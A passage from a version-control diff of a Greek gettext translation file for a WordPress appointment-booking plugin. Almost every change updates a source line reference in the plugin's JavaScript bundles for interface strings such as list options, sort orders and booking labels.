-#: assets/js/gutenberg-blocks.js:13235
+#: assets/js/gutenberg-blocks.js:13236
 msgid "Employee Content"
 msgstr "Περιεχόμενο Υπαλλήλων"
 
 #: includes/divi/modules/EmployeeImageModule.php:20
 #: includes/elementor/widgets/EmployeeImageWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeImageShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12743
+#: assets/js/gutenberg-blocks.js:12744
 msgid "Employee Image"
 msgstr "Εικόνα Υπάλληλου"
 
 #: includes/divi/modules/EmployeeScheduleModule.php:20
 #: includes/elementor/widgets/EmployeeScheduleWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeScheduleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13112
+#: assets/js/gutenberg-blocks.js:13113
 msgid "Employee Schedule"
 msgstr ""
 
 #: includes/divi/modules/EmployeeServicesListModule.php:20
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12989
+#: assets/js/gutenberg-blocks.js:12990
 msgid "Employee Services List"
 msgstr ""
 
@@ -1642,7 +1632,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:25
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:29
 #: includes/shortcodes/EmployeesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11692
+#: assets/js/gutenberg-blocks.js:11693
 msgid "Employees List"
 msgstr ""
 
@@ -1658,10 +1648,10 @@
 #: includes/shortcodes/LocationsListShortcode.php:41
 #: includes/shortcodes/ServiceCategoriesShortcode.php:43
 #: includes/shortcodes/ServicesListShortcode.php:41
-#: assets/js/gutenberg-blocks.js:11509
-#: assets/js/gutenberg-blocks.js:11804
-#: assets/js/gutenberg-blocks.js:12090
-#: assets/js/gutenberg-blocks.js:12408
+#: assets/js/gutenberg-blocks.js:11510
+#: assets/js/gutenberg-blocks.js:11805
+#: assets/js/gutenberg-blocks.js:12091
+#: assets/js/gutenberg-blocks.js:12409
 msgid "Show featured image."
 msgstr ""
 
@@ -1674,9 +1664,9 @@
 #: includes/shortcodes/EmployeesListShortcode.php:46
 #: includes/shortcodes/LocationsListShortcode.php:46
 #: includes/shortcodes/ServicesListShortcode.php:46
-#: assets/js/gutenberg-blocks.js:11517
-#: assets/js/gutenberg-blocks.js:11812
-#: assets/js/gutenberg-blocks.js:12416
+#: assets/js/gutenberg-blocks.js:11518
+#: assets/js/gutenberg-blocks.js:11813
+#: assets/js/gutenberg-blocks.js:12417
 msgid "Show post title."
 msgstr ""
 
@@ -1689,30 +1679,30 @@
 #: includes/shortcodes/EmployeesListShortcode.php:51
 #: includes/shortcodes/LocationsListShortcode.php:51
 #: includes/shortcodes/ServicesListShortcode.php:51
-#: assets/js/gutenberg-blocks.js:11525
-#: assets/js/gutenberg-blocks.js:11820
-#: assets/js/gutenberg-blocks.js:12424
+#: assets/js/gutenberg-blocks.js:11526
+#: assets/js/gutenberg-blocks.js:11821
+#: assets/js/gutenberg-blocks.js:12425
 msgid "Show post excerpt."
 msgstr ""
 
 #: includes/divi/modules/EmployeesListModule.php:57
 #: includes/elementor/widgets/EmployeesListWidget.php:74
 #: includes/shortcodes/EmployeesListShortcode.php:56
-#: assets/js/gutenberg-blocks.js:11533
+#: assets/js/gutenberg-blocks.js:11534
 msgid "Show contact information."
 msgstr ""
 
 #: includes/divi/modules/EmployeesListModule.php:67
 #: includes/elementor/widgets/EmployeesListWidget.php:84
 #: includes/shortcodes/EmployeesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:11541
+#: assets/js/gutenberg-blocks.js:11542
 msgid "Show social networks."
 msgstr ""
 
 #: includes/divi/modules/EmployeesListModule.php:77
 #: includes/elementor/widgets/EmployeesListWidget.php:94
 #: includes/shortcodes/EmployeesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:11549
+#: assets/js/gutenberg-blocks.js:11550
 msgid "Show additional information."
 msgstr ""
 
@@ -1720,7 +1710,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:107
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:60
 #: includes/shortcodes/EmployeesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:11559
 msgid "Comma-separated slugs or IDs of employees that will be shown."
 msgstr ""
 
@@ -1734,8 +1724,8 @@
 #: includes/post-types/LocationPostType.php:77
 #: assets/js/analytics-page.js:33420
 #: assets/js/calendar-page.js:45397
-#: assets/js/gutenberg-blocks.js:11566
-#: assets/js/gutenberg-blocks.js:11828
+#: assets/js/gutenberg-blocks.js:11567
+#: assets/js/gutenberg-blocks.js:11829
 msgid "Locations"
 msgstr "Τοποθεσίες"
 
@@ -1743,8 +1733,8 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:117
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:66
 #: includes/shortcodes/EmployeesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:11567
-#: assets/js/gutenberg-blocks.js:11829
+#: assets/js/gutenberg-blocks.js:11568
+#: assets/js/gutenberg-blocks.js:11830
 msgid "Comma-separated slugs or IDs of locations."
 msgstr ""
 
@@ -1757,9 +1747,9 @@
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:71
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:68
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:84
-#: assets/js/gutenberg-blocks.js:11575
-#: assets/js/gutenberg-blocks.js:11846
-#: assets/js/gutenberg-blocks.js:12500
+#: assets/js/gutenberg-blocks.js:11576
+#: assets/js/gutenberg-blocks.js:11847
+#: assets/js/gutenberg-blocks.js:12501
 msgid "Posts Per Page"
 msgstr ""
 
@@ -1777,10 +1767,10 @@
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:96
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:91
 #: includes/widgets/AppointmentFormWidget.php:237
-#: assets/js/gutenberg-blocks.js:11584
-#: assets/js/gutenberg-blocks.js:11855
-#: assets/js/gutenberg-blocks.js:12170
-#: assets/js/gutenberg-blocks.js:12509
+#: assets/js/gutenberg-blocks.js:11585
+#: assets/js/gutenberg-blocks.js:11856
+#: assets/js/gutenberg-blocks.js:12171
+#: assets/js/gutenberg-blocks.js:12510
 msgid "Columns Count"
 msgstr ""
 
@@ -1798,10 +1788,10 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:92
 #: includes/shortcodes/AbstractPostsListShortcode.php:29
 #: includes/shortcodes/AbstractTermsListShortcode.php:30
-#: assets/js/gutenberg-blocks.js:11585
-#: assets/js/gutenberg-blocks.js:11856
-#: assets/js/gutenberg-blocks.js:12171
-#: assets/js/gutenberg-blocks.js:12510
+#: assets/js/gutenberg-blocks.js:11586
+#: assets/js/gutenberg-blocks.js:11857
+#: assets/js/gutenberg-blocks.js:12172
+#: assets/js/gutenberg-blocks.js:12511
 msgid "The number of columns in the grid."
 msgstr ""
 
@@ -1815,10 +1805,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:178
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:59
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:54
-#: assets/js/gutenberg-blocks.js:11594
-#: assets/js/gutenberg-blocks.js:11865
-#: assets/js/gutenberg-blocks.js:12180
-#: assets/js/gutenberg-blocks.js:12519
+#: assets/js/gutenberg-blocks.js:11595
+#: assets/js/gutenberg-blocks.js:11866
+#: assets/js/gutenberg-blocks.js:12181
+#: assets/js/gutenberg-blocks.js:12520
 msgid "Order By"
 msgstr ""
 
@@ -1832,10 +1822,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:182
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:39
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11601
-#: assets/js/gutenberg-blocks.js:11872
-#: assets/js/gutenberg-blocks.js:12187
-#: assets/js/gutenberg-blocks.js:12526
+#: assets/js/gutenberg-blocks.js:11602
+#: assets/js/gutenberg-blocks.js:11873
+#: assets/js/gutenberg-blocks.js:12188
+#: assets/js/gutenberg-blocks.js:12527
 msgid "No order"
 msgstr ""
 
@@ -1846,9 +1836,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:124
 #: includes/elementor/widgets/ServicesListWidget.php:183
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11604
-#: assets/js/gutenberg-blocks.js:11875
-#: assets/js/gutenberg-blocks.js:12529
+#: assets/js/gutenberg-blocks.js:11605
+#: assets/js/gutenberg-blocks.js:11876
+#: assets/js/gutenberg-blocks.js:12530
 msgid "Post ID"
 msgstr ""
 
@@ -1859,9 +1849,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:125
 #: includes/elementor/widgets/ServicesListWidget.php:184
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:11607
-#: assets/js/gutenberg-blocks.js:11878
-#: assets/js/gutenberg-blocks.js:12532
+#: assets/js/gutenberg-blocks.js:11608
+#: assets/js/gutenberg-blocks.js:11879
+#: assets/js/gutenberg-blocks.js:12533
 msgid "Post author"
 msgstr ""
 
@@ -1875,9 +1865,9 @@
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:49
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:49
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:11610
-#: assets/js/gutenberg-blocks.js:11881
-#: assets/js/gutenberg-blocks.js:12535
+#: assets/js/gutenberg-blocks.js:11611
+#: assets/js/gutenberg-blocks.js:11882
+#: assets/js/gutenberg-blocks.js:12536
 msgid "Post title"
 msgstr "Τίτλος Άρθρου"
 
@@ -1888,9 +1878,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:127
 #: includes/elementor/widgets/ServicesListWidget.php:186
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:11613
-#: assets/js/gutenberg-blocks.js:11884
-#: assets/js/gutenberg-blocks.js:12538
+#: assets/js/gutenberg-blocks.js:11614
+#: assets/js/gutenberg-blocks.js:11885
+#: assets/js/gutenberg-blocks.js:12539
 msgid "Post name (post slug)"
 msgstr ""
 
@@ -1901,9 +1891,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:128
 #: includes/elementor/widgets/ServicesListWidget.php:187
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:11616
-#: assets/js/gutenberg-blocks.js:11887
-#: assets/js/gutenberg-blocks.js:12541
+#: assets/js/gutenberg-blocks.js:11617
+#: assets/js/gutenberg-blocks.js:11888
+#: assets/js/gutenberg-blocks.js:12542
 msgid "Post date"
 msgstr ""
 
@@ -1914,9 +1904,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:129
 #: includes/elementor/widgets/ServicesListWidget.php:188
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:11619
-#: assets/js/gutenberg-blocks.js:11890
-#: assets/js/gutenberg-blocks.js:12544
+#: assets/js/gutenberg-blocks.js:11620
+#: assets/js/gutenberg-blocks.js:11891
+#: assets/js/gutenberg-blocks.js:12545
 msgid "Last modified date"
 msgstr ""
 
@@ -1927,9 +1917,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:130
 #: includes/elementor/widgets/ServicesListWidget.php:189
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:11622
-#: assets/js/gutenberg-blocks.js:11893
-#: assets/js/gutenberg-blocks.js:12547
+#: assets/js/gutenberg-blocks.js:11623
+#: assets/js/gutenberg-blocks.js:11894
+#: assets/js/gutenberg-blocks.js:12548
 msgid "Random order"
 msgstr ""
 
@@ -1940,9 +1930,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:131
 #: includes/elementor/widgets/ServicesListWidget.php:190
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:11625
-#: assets/js/gutenberg-blocks.js:11896
-#: assets/js/gutenberg-blocks.js:12550
+#: assets/js/gutenberg-blocks.js:11626
+#: assets/js/gutenberg-blocks.js:11897
+#: assets/js/gutenberg-blocks.js:12551
 msgid "Relevance"
 msgstr ""
 
@@ -1956,10 +1946,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:191
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:48
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:48
-#: assets/js/gutenberg-blocks.js:11628
-#: assets/js/gutenberg-blocks.js:11899
-#: assets/js/gutenberg-blocks.js:12211
-#: assets/js/gutenberg-blocks.js:12553
+#: assets/js/gutenberg-blocks.js:11629
+#: assets/js/gutenberg-blocks.js:11900
+#: assets/js/gutenberg-blocks.js:12212
+#: assets/js/gutenberg-blocks.js:12554
 msgid "Page order"
 msgstr "Διάταξη σελίδων"
 
@@ -1970,9 +1960,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:133
 #: includes/elementor/widgets/ServicesListWidget.php:192
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:49
-#: assets/js/gutenberg-blocks.js:11631
-#: assets/js/gutenberg-blocks.js:11902
-#: assets/js/gutenberg-blocks.js:12556
+#: assets/js/gutenberg-blocks.js:11632
+#: assets/js/gutenberg-blocks.js:11903
+#: assets/js/gutenberg-blocks.js:12557
 msgid "Page order and post title"
 msgstr ""
 
@@ -1984,10 +1974,10 @@
 #: includes/elementor/widgets/LocationsListWidget.php:146
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:178
 #: includes/elementor/widgets/ServicesListWidget.php:206
-#: assets/js/gutenberg-blocks.js:11641
-#: assets/js/gutenberg-blocks.js:11912
-#: assets/js/gutenberg-blocks.js:12221
-#: assets/js/gutenberg-blocks.js:12569
+#: assets/js/gutenberg-blocks.js:11642
+#: assets/js/gutenberg-blocks.js:11913
+#: assets/js/gutenberg-blocks.js:12222
+#: assets/js/gutenberg-blocks.js:12570
 msgid "DESC"
 msgstr ""
 
@@ -2001,24 +1991,24 @@
 #: includes/elementor/widgets/ServicesListWidget.php:207
 #: includes/shortcodes/AbstractPostsListShortcode.php:42
 #: includes/shortcodes/AbstractTermsListShortcode.php:43
-#: assets/js/gutenberg-blocks.js:11644
-#: assets/js/gutenberg-blocks.js:11915
-#: assets/js/gutenberg-blocks.js:12224
-#: assets/js/gutenberg-blocks.js:12572
+#: assets/js/gutenberg-blocks.js:11645
+#: assets/js/gutenberg-blocks.js:11916
+#: assets/js/gutenberg-blocks.js:12225
+#: assets/js/gutenberg-blocks.js:12573
 msgid "ASC"
 msgstr ""
 
 #: includes/divi/modules/EmployeeSocialNetworksModule.php:20
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeSocialNetworksShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13481
+#: assets/js/gutenberg-blocks.js:13482
 msgid "Employee Social Networks"
 msgstr ""
 
 #: includes/divi/modules/EmployeeTitleModule.php:20
 #: includes/elementor/widgets/EmployeeTitleWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeTitleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12866
+#: assets/js/gutenberg-blocks.js:12867
 msgid "Employee Title"
 msgstr ""
 
@@ -2026,7 +2016,7 @@
 #: includes/elementor/widgets/LocationsListWidget.php:25
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:29
 #: includes/shortcodes/LocationsListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11963
+#: assets/js/gutenberg-blocks.js:11964
 msgid "Locations List"
 msgstr ""
 
@@ -2048,9 +2038,9 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:72
 #: includes/post-types/LocationPostType.php:124
 #: includes/post-types/ServicePostType.php:164
-#: assets/js/gutenberg-blocks.js:11837
-#: assets/js/gutenberg-blocks.js:12123
-#: assets/js/gutenberg-blocks.js:12482
+#: assets/js/gutenberg-blocks.js:11838
+#: assets/js/gutenberg-blocks.js:12124
+#: assets/js/gutenberg-blocks.js:12483
 msgid "Categories"
 msgstr "Kατηγορίες"
 
@@ -2066,9 +2056,9 @@
 #: includes/shortcodes/LocationsListShortcode.php:61
 #: includes/shortcodes/ServiceCategoriesShortcode.php:64
 #: includes/shortcodes/ServicesListShortcode.php:86
-#: assets/js/gutenberg-blocks.js:11838
-#: assets/js/gutenberg-blocks.js:12124
-#: assets/js/gutenberg-blocks.js:12483
+#: assets/js/gutenberg-blocks.js:11839
+#: assets/js/gutenberg-blocks.js:12125
+#: assets/js/gutenberg-blocks.js:12484
 msgid "Comma-separated slugs or IDs of categories that will be shown."
 msgstr ""
 
@@ -2078,26 +2068,26 @@
 #: includes/post-types/ServicePostType.php:149
 #: includes/post-types/ServicePostType.php:252
 #: includes/shortcodes/ServiceCategoriesShortcode.php:31
-#: assets/js/gutenberg-blocks.js:12272
+#: assets/js/gutenberg-blocks.js:12273
 msgid "Service Categories"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:37
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:53
-#: assets/js/gutenberg-blocks.js:12098
+#: assets/js/gutenberg-blocks.js:12099
 msgid "Show Services Count?"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:47
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:63
-#: assets/js/gutenberg-blocks.js:12106
+#: assets/js/gutenberg-blocks.js:12107
 msgid "Show Description?"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:57
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:73
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:56
-#: assets/js/gutenberg-blocks.js:12114
+#: assets/js/gutenberg-blocks.js:12115
 msgid "Parent"
 msgstr ""
 
@@ -2105,14 +2095,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:76
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:57
 #: includes/shortcodes/ServiceCategoriesShortcode.php:58
-#: assets/js/gutenberg-blocks.js:12115
+#: assets/js/gutenberg-blocks.js:12116
 msgid "Parent term slug or ID to retrieve direct-child terms from."
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:69
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:93
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:68
-#: assets/js/gutenberg-blocks.js:12132
+#: assets/js/gutenberg-blocks.js:12133
 msgid "Exclude Categories"
 msgstr ""
 
@@ -2120,21 +2110,21 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:96
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:69
 #: includes/shortcodes/ServiceCategoriesShortcode.php:69
-#: assets/js/gutenberg-blocks.js:12133
+#: assets/js/gutenberg-blocks.js:12134
 msgid "Comma-separated slugs or IDs of categories that will not be shown."
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:75
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:103
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:74
-#: assets/js/gutenberg-blocks.js:12141
+#: assets/js/gutenberg-blocks.js:12142
 msgid "Hide Empty"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:85
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:114
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:80
-#: assets/js/gutenberg-blocks.js:12150
+#: assets/js/gutenberg-blocks.js:12151
 msgid "Depth"
 msgstr "Βάθος"
 
@@ -2142,14 +2132,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:115
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:81
 #: includes/shortcodes/ServiceCategoriesShortcode.php:79
-#: assets/js/gutenberg-blocks.js:12151
+#: assets/js/gutenberg-blocks.js:12152
 msgid "Display depth of child categories."
 msgstr "Βάθος εμφάνισης των κατηγοριών παιδιών."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:97
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:127
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:88
-#: assets/js/gutenberg-blocks.js:12160
+#: assets/js/gutenberg-blocks.js:12161
 msgid "Number"
 msgstr "Αριθμός"
 
@@ -2157,56 +2147,56 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:128
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:89
 #: includes/shortcodes/AbstractTermsListShortcode.php:24
-#: assets/js/gutenberg-blocks.js:12161
+#: assets/js/gutenberg-blocks.js:12162
 msgid "Maximum number of categories to show."
 msgstr "Μέγιστος αριθμός κατηγοριών που θα εμφανίζονται."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:126
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:158
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:12190
+#: assets/js/gutenberg-blocks.js:12191
 msgid "Term name"
 msgstr "Όνομα όρου"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:127
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:159
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:12193
+#: assets/js/gutenberg-blocks.js:12194
 msgid "Term slug"
 msgstr "Όρος slug"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:128
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:160
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:12196
+#: assets/js/gutenberg-blocks.js:12197
 msgid "Term ID"
 msgstr "Όρος ID"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:129
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:161
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:12199
+#: assets/js/gutenberg-blocks.js:12200
 msgid "Parent ID"
 msgstr "Γονικό ID"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:130
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:162
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:12202
+#: assets/js/gutenberg-blocks.js:12203
 msgid "Number of associated objects"
 msgstr "Αριθμός συσχετιζόμενων αντικειμένων"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:131
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:163
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:12205
+#: assets/js/gutenberg-blocks.js:12206
 msgid "Keep the order of \"IDs\" parameter"
 msgstr "Κρατήστε τη σειρά της παραμέτρου \"IDs\""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:132
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:164
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:12208
+#: assets/js/gutenberg-blocks.js:12209
 msgid "Term order"
 msgstr "Σειρά ταξινόμησης"
 
@@ -2214,35 +2204,35 @@
 #: includes/elementor/widgets/ServicesListWidget.php:24
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:29
 #: includes/shortcodes/ServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12620
+#: assets/js/gutenberg-blocks.js:12621
 msgid "Services List"
 msgstr "Λίστα Υπηρεσιών"
 
 #: includes/divi/modules/ServicesListModule.php:57
 #: includes/elementor/widgets/ServicesListWidget.php:73
 #: includes/shortcodes/ServicesListShortcode.php:56
-#: assets/js/gutenberg-blocks.js:12432
+#: assets/js/gutenberg-blocks.js:12433
 msgid "Show service price."
 msgstr "Εμφάνιση τιμής υπηρεσίας."
 
 #: includes/divi/modules/ServicesListModule.php:67
 #: includes/elementor/widgets/ServicesListWidget.php:83
 #: includes/shortcodes/ServicesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:12440
+#: assets/js/gutenberg-blocks.js:12441
 msgid "Show service duration."
 msgstr "Διάρκεια υπηρεσίας."
 
 #: includes/divi/modules/ServicesListModule.php:77
 #: includes/elementor/widgets/ServicesListWidget.php:93
 #: includes/shortcodes/ServicesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:12448
+#: assets/js/gutenberg-blocks.js:12449
 msgid "Show service capacity."
 msgstr "Εμφάνιση χωρητικότητας υπηρεσίας."
 
 #: includes/divi/modules/ServicesListModule.php:87
 #: includes/elementor/widgets/ServicesListWidget.php:103
 #: includes/shortcodes/ServicesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:12456
+#: assets/js/gutenberg-blocks.js:12457
 msgid "Show service employees."
 msgstr "Εμφάνιση υπαλλήλων υπηρεσιών."
 
@@ -2250,7 +2240,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:116
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:61
 #: includes/shortcodes/ServicesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:12465
+#: assets/js/gutenberg-blocks.js:12466
 msgid "Comma-separated slugs or IDs of services that will be shown."
 msgstr "Slugs ή ID χωρισμένα με κόμμα που θα εμφανιστούν."
 
@@ -2258,7 +2248,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:126
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:67
 #: includes/shortcodes/ServicesListShortcode.php:81
-#: assets/js/gutenberg-blocks.js:12474
+#: assets/js/gutenberg-blocks.js:12475
 msgid "Comma-separated slugs or IDs of employees that perform these services."
 msgstr "Slugs ή ID υπαλλήλων που εκτελούν τις υπηρεσίες."
 
@@ -2266,7 +2256,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:143
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:78
 #: includes/post-types/ServicePostType.php:210
-#: assets/js/gutenberg-blocks.js:12491
+#: assets/js/gutenberg-blocks.js:12492
 msgid "Tags"
 msgstr "Ετικέτες"
 
@@ -2365,7 +2355,7 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:105
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:75
 #: includes/shortcodes/ServiceCategoriesShortcode.php:74
-#: assets/js/gutenberg-blocks.js:12142
+#: assets/js/gutenberg-blocks.js:12143
 msgid "Hide terms not assigned to any posts."
 msgstr "Απόκρυψη όρων που δεν έχουν ανατεθεί σε καμία ανάρτηση."
 
@@ -2623,10 +2613,10 @@
 #: includes/emails/tags/booking/BookingLeftToPayTag.php:19
 #: templates/emails/admin/admin-approved-booking-email.php:29
 #: templates/emails/customer/customer-approved-payment-email.php:24
-#: assets/js/divi-modules.js:6018
-#: assets/js/elementor-widgets.js:6018
-#: assets/js/gutenberg-blocks.js:6457
-#: assets/js/public.js:6018
+#: assets/js/divi-modules.js:6019
+#: assets/js/elementor-widgets.js:6019
+#: assets/js/gutenberg-blocks.js:6458
+#: assets/js/public.js:6019
 msgid "Left to pay"
 msgstr ""
 
@@ -2846,11 +2836,11 @@
 #: templates/shortcodes/booking/step-cart.php:48
 #: templates/shortcodes/template-parts/booking-details.php:51
 #: assets/js/calendar-page.js:38070
-#: assets/js/divi-modules.js:2858
-#: assets/js/edit-post.js:4314
-#: assets/js/elementor-widgets.js:2858
+#: assets/js/divi-modules.js:2859
+#: assets/js/edit-post.js:4315
+#: assets/js/elementor-widgets.js:2859
 #: assets/js/gutenberg-blocks.js:431
-#: assets/js/public.js:2858
+#: assets/js/public.js:2859
 #: assets/js/widgets-manage-page.js:300
 msgid "Clients"
 msgstr "Πελάτες"
@@ -2912,13 +2902,13 @@
 #: includes/fields/complex/TimetableField.php:313
 #: includes/structures/TimePeriod.php:294
 #: assets/js/calendar-page.js:38145
-#: assets/js/divi-modules.js:3569
+#: assets/js/divi-modules.js:3570
 #: assets/js/edit-post.js:2101
-#: assets/js/edit-post.js:4846
-#: assets/js/edit-post.js:8800
-#: assets/js/elementor-widgets.js:3569
+#: assets/js/edit-post.js:4847
+#: assets/js/edit-post.js:8801
+#: assets/js/elementor-widgets.js:3570
 #: assets/js/gutenberg-blocks.js:1855
-#: assets/js/public.js:3569
+#: assets/js/public.js:3570
 #: assets/js/widgets-manage-page.js:1620
 msgid "All day"
 msgstr "Όλη μέρα"
@@ -2927,12 +2917,12 @@
 #: includes/fields/complex/DaysOffField.php:100
 #: templates/shortcodes/booking/cart/admin-cart-item.php:113
 #: templates/shortcodes/booking/step-cart.php:72
-#: assets/js/divi-modules.js:5975
+#: assets/js/divi-modules.js:5976
 #: assets/js/edit-post.js:2051
 #: assets/js/edit-post.js:2283
-#: assets/js/elementor-widgets.js:5975
-#: assets/js/gutenberg-blocks.js:6414
-#: assets/js/public.js:5975
+#: assets/js/elementor-widgets.js:5976
+#: assets/js/gutenberg-blocks.js:6415
+#: assets/js/public.js:5976
 msgid "Remove"
 msgstr "Αφαίρεση"
 
@@ -3039,7 +3029,7 @@
 
 #. Translators: %s: Location name, like "Barbershop".
 #: includes/fields/complex/TimetableField.php:241
-#: assets/js/edit-post.js:8815
+#: assets/js/edit-post.js:8816
 #, php-format,js-format
 msgctxt "Working at %s"
 msgid "at %s"
@@ -3344,11 +3334,11 @@
 
 #: includes/helpers/PriceCalculationHelper.php:50
